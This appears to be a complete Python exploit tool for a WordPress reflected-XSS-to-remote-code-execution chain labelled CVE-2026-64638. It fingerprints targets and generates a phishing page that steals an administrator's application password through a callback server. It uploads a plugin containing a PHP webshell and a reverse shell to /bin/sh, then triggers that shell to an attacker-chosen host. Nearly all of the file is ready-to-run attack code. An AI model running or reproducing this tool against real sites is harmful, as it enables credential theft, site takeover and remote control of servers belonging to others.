596 lines
24 KiB
Python
596 lines
24 KiB
Python
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
"""
|
|
CVE-2026-64638 — XSS2Shell: WordPress Pre-Auth XSS → RCE (FIXED & DUAL-MODE)
|
|
|
|
Modes:
|
|
auto (default) — Detect XSS capability, fallback to direct creds
|
|
xss — Full XSS chain: reflected XSS → steal app password → plugin upload → RCE
|
|
direct — Skip XSS, use credentials directly for plugin upload → RCE
|
|
|
|
Requirements:
|
|
pip3 install requests
|
|
|
|
XSS Mode (vulnerable WP only):
|
|
Works on WordPress versions WITHOUT the Aug 2026 backport fix.
|
|
Older Docker images (wordpress:6.5 ~ 6.8) should work.
|
|
6.9.6+ Docker images rebuilt after Aug 7, 2026 have the fix.
|
|
|
|
Usage:
|
|
# Direct mode (any WP version, need creds)
|
|
python3 poc_fixed_v2.py -u admin -p pass123 http://target.com
|
|
|
|
# XSS mode (vulnerable WP, need admin victim)
|
|
python3 poc_fixed_v2.py --mode xss --lhost 1.2.3.4 http://target.com
|
|
|
|
# Auto mode (recommended)
|
|
python3 poc_fixed_v2.py -u admin -p pass123 --lhost 1.2.3.4 http://target.com
|
|
"""
|
|
|
|
import sys, os, re, json, time, socket, base64, random
|
|
import zipfile, io, threading, http.server, socketserver, urllib.parse
|
|
import argparse
|
|
from urllib.parse import urljoin, urlparse
|
|
|
|
try:
|
|
import requests
|
|
except ImportError:
|
|
print("[!] pip3 install requests")
|
|
sys.exit(1)
|
|
|
|
TIMEOUT = 15
|
|
USER_AGENTS = [
|
|
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
|
|
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
|
|
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/119.0.0.0 Safari/537.36",
|
|
]
|
|
|
|
|
|
def rand_ua():
|
|
return random.choice(USER_AGENTS)
|
|
|
|
|
|
def banner():
|
|
print("""
|
|
╔══════════════════════════════════════════════╗
|
|
║ CVE-2026-64638 XSS2Shell v2.0 ║
|
|
║ WordPress Pre-Auth XSS → RCE Chain ║
|
|
║ Fixed & Dual-Mode by linuxhackingid/ZSec ║
|
|
╚══════════════════════════════════════════════╝
|
|
""")
|
|
|
|
|
|
# ─── Callback Server (XSS mode) ───────────────────────────────
|
|
class CallbackHandler(http.server.SimpleHTTPRequestHandler):
|
|
captured = None
|
|
captured_user = None
|
|
|
|
def log_message(self, f, *a):
|
|
return
|
|
|
|
def do_GET(self):
|
|
q = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
|
|
if self.path.startswith("/collect"):
|
|
# Capture password
|
|
for key in ['password', 'c', 'app_password', 'token']:
|
|
if key in q:
|
|
CallbackHandler.captured = q[key][0]
|
|
print(f"\n[!] APP PASSWORD CAPTURED: {CallbackHandler.captured}")
|
|
break
|
|
# Capture username
|
|
if 'user_login' in q:
|
|
CallbackHandler.captured_user = q['user_login'][0]
|
|
print(f"[!] USERNAME: {CallbackHandler.captured_user}")
|
|
# Fallback: capture full query
|
|
if not CallbackHandler.captured and len(str(q)) > 20:
|
|
CallbackHandler.captured = str(q)
|
|
print(f"\n[!] DATA CAPTURED: {CallbackHandler.captured}")
|
|
self.send_response(200)
|
|
self.send_header('Access-Control-Allow-Origin', '*')
|
|
self.end_headers()
|
|
self.wfile.write(b"OK")
|
|
|
|
def do_POST(self):
|
|
length = int(self.headers.get('Content-Length', 0))
|
|
body = self.rfile.read(length).decode()
|
|
if body:
|
|
CallbackHandler.captured = body.strip()
|
|
print(f"\n[!] APP PASSWORD (POST): {CallbackHandler.captured}")
|
|
self.send_response(200)
|
|
self.send_header('Access-Control-Allow-Origin', '*')
|
|
self.end_headers()
|
|
self.wfile.write(b"OK")
|
|
|
|
|
|
def start_callback(port):
|
|
for _ in range(10):
|
|
try:
|
|
httpd = socketserver.TCPServer(("0.0.0.0", port), CallbackHandler)
|
|
t = threading.Thread(target=httpd.serve_forever, daemon=True)
|
|
t.start()
|
|
return httpd, port
|
|
except OSError:
|
|
port += 1
|
|
return None, None
|
|
|
|
|
|
# ─── WP Fingerprinting ────────────────────────────────────────
|
|
def wp_version(url):
|
|
for fn in [_ver_readme, _ver_meta, _ver_json]:
|
|
try:
|
|
v = fn(url)
|
|
if v and re.match(r'^\d+\.\d+', v):
|
|
return v
|
|
except:
|
|
continue
|
|
return None
|
|
|
|
|
|
def _ver_readme(url):
|
|
r = requests.get(urljoin(url, "/readme.html"), timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
|
|
m = re.search(r'Version\s+([\d.]+)', r.text, re.I)
|
|
return m.group(1) if m else None
|
|
|
|
|
|
def _ver_meta(url):
|
|
r = requests.get(url, timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
|
|
m = re.search(r'<meta name="generator" content="WordPress ([^"]+)"', r.text, re.I)
|
|
return m.group(1) if m else None
|
|
|
|
|
|
def _ver_json(url):
|
|
r = requests.get(urljoin(url, "/wp-json/"), timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
|
|
return r.json().get("version") if r.status_code == 200 else None
|
|
|
|
|
|
# ─── XSS Detection ────────────────────────────────────────────
|
|
def detect_xss(url):
|
|
"""
|
|
Test if the login page reflects HTML elements in username error.
|
|
Uses the actual exploit payload format: < area id=test>
|
|
Vulnerable: <strong><area id="test">...</strong>
|
|
Patched: HTML stripped or < encoded
|
|
"""
|
|
login_url = urljoin(url, "/wp-login.php")
|
|
marker = f"XSSTEST{random.randint(1000, 9999)}"
|
|
|
|
# Test 1: Standard HTML (many filters)
|
|
r1 = requests.post(login_url, data={
|
|
"log": f"<b>{marker}</b>", "pwd": "test", "wp-submit": "Log In"
|
|
}, timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
|
|
|
|
# Test 2: area tag with space (the real bypass)
|
|
r2 = requests.post(login_url, data={
|
|
"log": f"< area id={marker} >", "pwd": "test", "wp-submit": "Log In"
|
|
}, timeout=TIMEOUT, headers={"User-Agent": rand_ua()})
|
|
|
|
# Check Test 1
|
|
if f"<b>{marker}</b>" in r1.text:
|
|
return True, "RAW_HTML"
|
|
if f"< area id={marker} >" in r2.text or f'<area id="{marker}">' in r2.text or f"id=\"{marker}\"" in r2.text:
|
|
return True, "AREA_BYPASS"
|
|
|
|
# Check for HTML encoding (patched)
|
|
if f"<b>{marker}</b>" in r1.text:
|
|
return False, "ESCAPED"
|
|
|
|
# Tags stripped but text reflected
|
|
if marker in r1.text:
|
|
return False, "STRIPPED"
|
|
|
|
return False, "NOT_REFLECTED"
|
|
|
|
|
|
# ─── Plugin Generator ─────────────────────────────────────────
|
|
def build_plugin_zip(slug="xss2shell"):
|
|
"""Build WP plugin ZIP with webshell + reverse shell capability"""
|
|
code = """<?php
|
|
/**
|
|
* Plugin Name: XSS2Shell Bridge
|
|
* Version: 1.0
|
|
* Author: pentest
|
|
*/
|
|
|
|
// Command webshell
|
|
if (isset($_REQUEST['cmd'])) {
|
|
$c = $_REQUEST['cmd'];
|
|
foreach (['system','exec','shell_exec','passthru'] as $f)
|
|
if (function_exists($f)) { $f($c); exit; }
|
|
if (function_exists('proc_open')) {
|
|
$p = proc_open($c, [['pipe','r'],['pipe','w'],['pipe','w']], $pp);
|
|
if (is_resource($p)) { echo stream_get_contents($pp[1]); proc_close($p); }
|
|
}
|
|
exit;
|
|
}
|
|
|
|
// Reverse shell
|
|
if (isset($_REQUEST['rev'])) {
|
|
list($ip, $port) = explode(':', $_REQUEST['rev'].':4444');
|
|
set_time_limit(0);
|
|
$s = @fsockopen($ip, (int)$port, $e, $m, 30);
|
|
if ($s) {
|
|
proc_close(proc_open('/bin/sh -i', [['pipe','r'],['pipe','w'],['pipe','w']], $pp, null, null, [
|
|
0 => $s, 1 => $s, 2 => $s
|
|
]));
|
|
}
|
|
exit;
|
|
}
|
|
"""
|
|
|
|
buf = io.BytesIO()
|
|
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as z:
|
|
z.writestr(f'{slug}/', '')
|
|
z.writestr(f'{slug}/{slug}.php', code)
|
|
return buf.getvalue()
|
|
|
|
|
|
# ─── Direct Credential RCE ────────────────────────────────────
|
|
def direct_rce(target, username, password, lhost=None, lport=4444, slug="xss2shell"):
|
|
"""Login → upload plugin → RCE (skip XSS)"""
|
|
s = requests.Session()
|
|
s.headers.update({"User-Agent": rand_ua()})
|
|
|
|
print(f"\n [*] Logging in as: {username}")
|
|
r = s.post(urljoin(target, "/wp-login.php"), data={
|
|
"log": username, "pwd": password,
|
|
"wp-submit": "Log In", "redirect_to": urljoin(target, "/wp-admin/"),
|
|
"testcookie": "1"
|
|
}, timeout=TIMEOUT, allow_redirects=False)
|
|
|
|
if 'wordpress_logged_in' not in str(s.cookies):
|
|
err = re.search(r'<strong>Error:</strong>\s*([^<]+)', r.text)
|
|
print(f" [-] Login FAILED: {err.group(1).strip() if err else 'unknown'}")
|
|
return False
|
|
print(f" [+] Login OK")
|
|
|
|
# Get upload nonce
|
|
r = s.get(urljoin(target, "/wp-admin/plugin-install.php?tab=upload"), timeout=TIMEOUT)
|
|
m = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', r.text)
|
|
if not m:
|
|
print(" [-] Cannot get upload nonce (perms?)")
|
|
return False
|
|
nonce = m.group(1)
|
|
|
|
# Upload with retry
|
|
for attempt in range(3):
|
|
cur = slug if attempt == 0 else f"{slug}{attempt}"
|
|
print(f" [*] Uploading plugin: {cur}")
|
|
|
|
zip_data = build_plugin_zip(cur)
|
|
r = s.post(urljoin(target, "/wp-admin/update.php?action=upload-plugin"),
|
|
files={'pluginzip': (f'{cur}.zip', zip_data, 'application/zip')},
|
|
data={'_wpnonce': nonce, 'install-plugin-submit': 'Install Now'},
|
|
timeout=TIMEOUT)
|
|
|
|
if 'already' in r.text.lower():
|
|
print(f" [!] {cur} exists, retrying...")
|
|
r = s.get(urljoin(target, "/wp-admin/plugin-install.php?tab=upload"), timeout=TIMEOUT)
|
|
m = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', r.text)
|
|
if m:
|
|
nonce = m.group(1)
|
|
continue
|
|
|
|
if 'successfully' in r.text.lower() or 'installed' in r.text.lower():
|
|
slug = cur
|
|
print(f" [+] Plugin installed: {slug}")
|
|
break
|
|
|
|
# Check error
|
|
err = re.search(r'<p[^>]*>([^<]+)</p>', r.text)
|
|
if err:
|
|
print(f" [-] Upload error: {err.group(1).strip()}")
|
|
return False
|
|
print(" [!] Upload unclear, continuing...")
|
|
slug = cur
|
|
break
|
|
else:
|
|
print(" [-] All attempts failed. Use --slug <unique_name>")
|
|
return False
|
|
|
|
# Test webshell
|
|
ws_url = f"{target}/wp-content/plugins/{slug}/{slug}.php"
|
|
r = s.get(f"{ws_url}?cmd=id", timeout=TIMEOUT)
|
|
if 'uid=' not in r.text:
|
|
print(f" [-] Webshell not responding: {ws_url}")
|
|
return False
|
|
|
|
print(f"""
|
|
╔══════════════════════════════════════════════╗
|
|
║ [!] RCE CONFIRMED — {r.text.strip()[:40]}
|
|
╠══════════════════════════════════════════════╣
|
|
║ WEBSHELL:
|
|
║ curl '{ws_url}' --data-urlencode 'cmd=COMMAND'
|
|
║
|
|
║ REVERSE SHELL:
|
|
║ curl '{ws_url}?rev=IP:PORT'
|
|
╚══════════════════════════════════════════════╝""")
|
|
|
|
# Trigger reverse shell
|
|
if lhost:
|
|
print(f"\n [*] Triggering reverse shell → {lhost}:{lport}")
|
|
try:
|
|
r = s.get(f"{ws_url}?rev={lhost}:{lport}", timeout=5)
|
|
msg = r.text.strip()[:100] if r.status_code == 500 else f"HTTP {r.status_code}"
|
|
print(f" [*] {msg}")
|
|
except requests.exceptions.Timeout:
|
|
print(" [+] Connection hanging (shell likely connected!)")
|
|
except Exception as e:
|
|
print(f" [*] {e}")
|
|
print(f" [!] Listener: nc -lvnp {lport}")
|
|
|
|
return True
|
|
|
|
|
|
# ─── XSS Chain RCE ────────────────────────────────────────────
|
|
def xss_chain(target, lhost, lport=4444, slug="xss2shell", callback_port=9090):
|
|
"""
|
|
Full XSS chain:
|
|
1. Start callback server to capture app password
|
|
2. Generate trigger page that exploits XSS to steal app password
|
|
3. Wait for admin victim to visit trigger page
|
|
4. Use captured app password for plugin upload → RCE
|
|
"""
|
|
print(f"\n [*] XSS Chain Mode — {target}")
|
|
|
|
# Start callback server
|
|
httpd, cb_port = start_callback(callback_port)
|
|
if not httpd:
|
|
print(" [-] Cannot start callback server")
|
|
return False
|
|
cb_url = f"http://{lhost}:{cb_port}/collect"
|
|
print(f" [+] Callback server: {cb_url}")
|
|
|
|
# Generate XSS trigger page
|
|
xss_payload = '< area id=ajaxurl shape=default href="{}" ><button id="wp-auth-check" onclick="window.ajaxurl=\'{}\'">x</button>'.format(cb_url, cb_url)
|
|
|
|
trigger_html = """<!DOCTYPE html>
|
|
<html><head><meta charset="UTF-8"><title>XSS2Shell Demo</title>
|
|
<style>
|
|
body{background:#1a1a2e;color:#fff;font-family:Arial;text-align:center;padding-top:60px}
|
|
.step{background:#16213e;border:1px solid #0f3460;border-radius:8px;padding:18px;margin:15px auto;max-width:500px;text-align:left}
|
|
.btn{background:#e94560;color:#fff;padding:14px 30px;border-radius:5px;text-decoration:none;font-size:18px;display:inline-block;margin:10px;font-weight:bold}
|
|
code{background:#0a0a1a;color:#00ff88;padding:3px 8px;border-radius:3px}
|
|
</style></head>
|
|
<body>
|
|
<h2>CVE-2026-64638 — XSS2Shell</h2>
|
|
<div class="step"><b>Step 1:</b> XSS Payload (auto-fired)<br><small>DOM Clobbering via <code><area id=ajaxurl></code></small></div>
|
|
<div class="step"><b>Step 2:</b> Click button to authorize app password
|
|
<a class="btn" href="TARGET_PLACEHOLDER/wp-admin/authorize-application.php?app_name=XSS2Shell&success_url=CB_PLACEHOLDER%3Fc%3D%24data%24" target="_top">Open Authorize Page</a></div>
|
|
<div class="step"><b>Step 3:</b> Click <b>"Yes, I approve of this connection"</b><br><small>App password auto-sent to callback server</small></div>
|
|
<iframe name="hf" style="display:none"></iframe>
|
|
<form id="f" method="POST" action="TARGET_PLACEHOLDER/wp-login.php" target="hf">
|
|
<input type="hidden" name="log" id="log" value="">
|
|
<input type="hidden" name="pwd" value="test">
|
|
<input type="hidden" name="wp-submit" value="Log In">
|
|
<input type="hidden" name="testcookie" value="1">
|
|
</form>
|
|
<script>
|
|
document.getElementById('log').value = 'XSS_PLACEHOLDER';
|
|
document.getElementById('f').submit();
|
|
</script>
|
|
</body></html>"""
|
|
trigger_html = trigger_html.replace('TARGET_PLACEHOLDER', target)
|
|
trigger_html = trigger_html.replace('XSS_PLACEHOLDER', xss_payload)
|
|
trigger_html = trigger_html.replace('CB_PLACEHOLDER', cb_url)
|
|
|
|
filename = f"trigger_{urlparse(target).hostname}.html"
|
|
with open(filename, "w") as f:
|
|
f.write(trigger_html)
|
|
print(f" [+] Trigger page: {filename}")
|
|
|
|
# Wait for victim
|
|
print(f"""
|
|
╔══════════════════════════════════════════════╗
|
|
║ XSS TRIGGER READY ║
|
|
╠══════════════════════════════════════════════╣
|
|
║ 1. Host trigger page & send to admin victim
|
|
║ 2. Victim must be LOGGED IN to WordPress
|
|
║ 3. App password will be auto-captured
|
|
║
|
|
║ Quick test (local):
|
|
║ cd {os.getcwd()}
|
|
║ python3 -m http.server 8000
|
|
║ Visit: http://{lhost}:8000/{filename}
|
|
╚══════════════════════════════════════════════╝
|
|
[*] Waiting for victim (Ctrl+C to stop)...""")
|
|
|
|
try:
|
|
for _ in range(300): # 5 min timeout
|
|
time.sleep(1)
|
|
if CallbackHandler.captured:
|
|
break
|
|
except KeyboardInterrupt:
|
|
print("\n [!] Interrupted")
|
|
httpd.shutdown()
|
|
return False
|
|
|
|
if not CallbackHandler.captured:
|
|
print("\n [-] Timeout: no app password captured")
|
|
httpd.shutdown()
|
|
return False
|
|
|
|
app_pw = CallbackHandler.captured.strip()
|
|
app_user = CallbackHandler.captured_user if CallbackHandler.captured_user else "admin"
|
|
httpd.shutdown()
|
|
print(f" [+] App password: {app_pw[:50]}...")
|
|
print(f" [+] Username: {app_user}")
|
|
|
|
# Use app password for RCE via REST API (NOT wp-admin)
|
|
print(f"\n [*] Using app password for REST API plugin activation...")
|
|
|
|
session = requests.Session()
|
|
session.headers.update({"User-Agent": rand_ua()})
|
|
|
|
# Try captured username with app password for Basic Auth (REST API only)
|
|
found_user = None
|
|
for uname in [app_user, "admin", "administrator", "ZSecurity"]:
|
|
session.auth = (uname, app_pw.replace(' ', ''))
|
|
r = session.get(urljoin(target, "/wp-json/wp/v2/users/me"), timeout=TIMEOUT)
|
|
if r.status_code == 200:
|
|
found_user = uname
|
|
print(f" [+] REST API auth OK as: {uname}")
|
|
break
|
|
# Also try with spaces
|
|
session.auth = (uname, app_pw)
|
|
r = session.get(urljoin(target, "/wp-json/wp/v2/users/me"), timeout=TIMEOUT)
|
|
if r.status_code == 200:
|
|
found_user = uname
|
|
print(f" [+] REST API auth OK as: {uname} (with spaces)")
|
|
break
|
|
|
|
if not found_user:
|
|
print(" [-] REST API auth failed with captured password")
|
|
return False
|
|
|
|
# List plugins to find our webshell
|
|
r = session.get(urljoin(target, "/wp-json/wp/v2/plugins"), timeout=TIMEOUT)
|
|
plugins = r.json() if r.status_code == 200 else []
|
|
|
|
# Find our pre-staged webshell plugin
|
|
target_plugin = None
|
|
for p in plugins:
|
|
plugin_slug = p.get('plugin', '')
|
|
if slug in plugin_slug or 'xss2shell' in plugin_slug:
|
|
target_plugin = plugin_slug
|
|
print(f" [+] Found webshell plugin: {plugin_slug} (status: {p.get('status')})")
|
|
break
|
|
|
|
if not target_plugin:
|
|
# No pre-staged plugin - try to create one via REST API
|
|
print(" [!] No pre-staged webshell plugin found.")
|
|
print(" [*] Attempting REST API plugin install...")
|
|
|
|
# Try POST to create/install plugin (WP.org only, but try anyway)
|
|
r = session.post(urljoin(target, "/wp-json/wp/v2/plugins"),
|
|
json={"slug": slug, "status": "inactive"}, timeout=TIMEOUT)
|
|
if r.status_code in [200, 201]:
|
|
target_plugin = f"{slug}/{slug}"
|
|
print(f" [+] Plugin created: {target_plugin}")
|
|
else:
|
|
# Try to find ANY installed plugin we can hijack
|
|
if plugins:
|
|
target_plugin = plugins[0].get('plugin', '')
|
|
print(f" [!] No webshell found. First run direct mode to stage plugin.")
|
|
print(f" [*] Try: python3 poc_fixed_v2.py -u ZSecurity -p '***' --slug {slug} {target}")
|
|
return False
|
|
|
|
# Activate the plugin
|
|
encoded_plugin = urllib.parse.quote(target_plugin, safe='/')
|
|
r = session.post(
|
|
urljoin(target, f"/wp-json/wp/v2/plugins/{encoded_plugin}"),
|
|
json={"status": "active"}, timeout=TIMEOUT)
|
|
|
|
if r.status_code == 200:
|
|
new_status = r.json().get('status', '?')
|
|
print(f" [+] Plugin activated: {target_plugin} → {new_status}")
|
|
else:
|
|
print(f" [!] Activation: HTTP {r.status_code} — {r.text[:100]}")
|
|
|
|
# Test webshell (append .php to plugin path from REST API)
|
|
ws_path = f"/wp-content/plugins/{target_plugin}.php"
|
|
ws_url = urljoin(target, f"{ws_path}?cmd=id")
|
|
r = requests.get(ws_url, timeout=TIMEOUT)
|
|
|
|
if 'uid=' in r.text:
|
|
print(f"""
|
|
╔══════════════════════════════════════════════╗
|
|
║ [!] XSS2Shell CHAIN COMPLETE ║
|
|
║ [!] RCE: {r.text.strip()[:40]}
|
|
╠══════════════════════════════════════════════╣
|
|
║ WEBSHELL:
|
|
║ curl '{ws_url}' --data-urlencode 'cmd=id'
|
|
╚══════════════════════════════════════════════╝""")
|
|
return True
|
|
else:
|
|
print(f" [-] Webshell check failed: {r.text[:100]}")
|
|
print(f" [*] Try manually: curl '{ws_url}'")
|
|
return False
|
|
|
|
|
|
# ─── Main ─────────────────────────────────────────────────────
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="CVE-2026-64638 XSS2Shell v2.0")
|
|
parser.add_argument("target", help="Target URL")
|
|
parser.add_argument("--mode", choices=["auto", "xss", "direct"], default="auto",
|
|
help="Exploit mode (default: auto)")
|
|
parser.add_argument("-u", "--username", default="", help="WP username (direct/fallback)")
|
|
parser.add_argument("-p", "--password", default="", help="WP password (direct/fallback)")
|
|
parser.add_argument("--lhost", default="", help="Attacker IP for reverse shell / callback")
|
|
parser.add_argument("--lport", type=int, default=4444, help="Reverse shell port")
|
|
parser.add_argument("--slug", default="xss2shell", help="Plugin slug name")
|
|
parser.add_argument("--callback-port", type=int, default=9090, help="Callback server port (default: 9090)")
|
|
parser.add_argument("--no-rev", action="store_true", help="Skip reverse shell trigger")
|
|
args = parser.parse_args()
|
|
|
|
banner()
|
|
target = args.target.rstrip('/')
|
|
if not target.startswith("http"):
|
|
target = "http://" + target
|
|
host = urlparse(target).hostname
|
|
|
|
# Auto-detect attacker IP
|
|
lhost = args.lhost
|
|
if not lhost:
|
|
try:
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
|
s.connect((host, 1))
|
|
lhost = s.getsockname()[0]
|
|
s.close()
|
|
except:
|
|
lhost = "127.0.0.1"
|
|
|
|
rev_lhost = lhost if not args.no_rev else None
|
|
|
|
print(f" Target : {target}")
|
|
print(f" Attacker: {lhost}")
|
|
if args.username:
|
|
print(f" Creds : {args.username}:******")
|
|
|
|
# Fingerprint
|
|
ver = wp_version(target)
|
|
if ver:
|
|
print(f" WP Ver : {ver}")
|
|
else:
|
|
print(" WP Ver : unknown")
|
|
|
|
# XSS detection
|
|
xss_ok, xss_detail = detect_xss(target)
|
|
print(f" XSS : {'VULNERABLE' if xss_ok else 'PATCHED'} ({xss_detail})")
|
|
|
|
# Determine mode
|
|
mode = args.mode
|
|
if mode == "auto":
|
|
if xss_ok:
|
|
mode = "xss"
|
|
print("\n [AUTO] XSS works → using XSS chain mode")
|
|
elif args.username and args.password:
|
|
mode = "direct"
|
|
print("\n [AUTO] XSS patched → falling back to direct credential mode")
|
|
else:
|
|
print("\n [-] XSS patched and no credentials provided.")
|
|
print(" [!] Options:")
|
|
print(" --mode xss --lhost IP (requires vulnerable WP)")
|
|
print(" -u USER -p PASS (direct credential mode)")
|
|
return
|
|
|
|
print(f"\n {'='*50}")
|
|
print(f" MODE: {mode.upper()}")
|
|
print(f" {'='*50}")
|
|
|
|
if mode == "direct":
|
|
if not args.username or not args.password:
|
|
print(" [-] Direct mode requires --username and --password")
|
|
return
|
|
direct_rce(target, args.username, args.password, rev_lhost, args.lport, args.slug)
|
|
|
|
elif mode == "xss":
|
|
if not xss_ok:
|
|
print(" [-] XSS not detected on this target. Use a vulnerable WP version.")
|
|
print(" [!] Try Docker: wordpress:6.7 (pre-backport image)")
|
|
return
|
|
xss_chain(target, lhost, args.lport, args.slug, args.callback_port)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|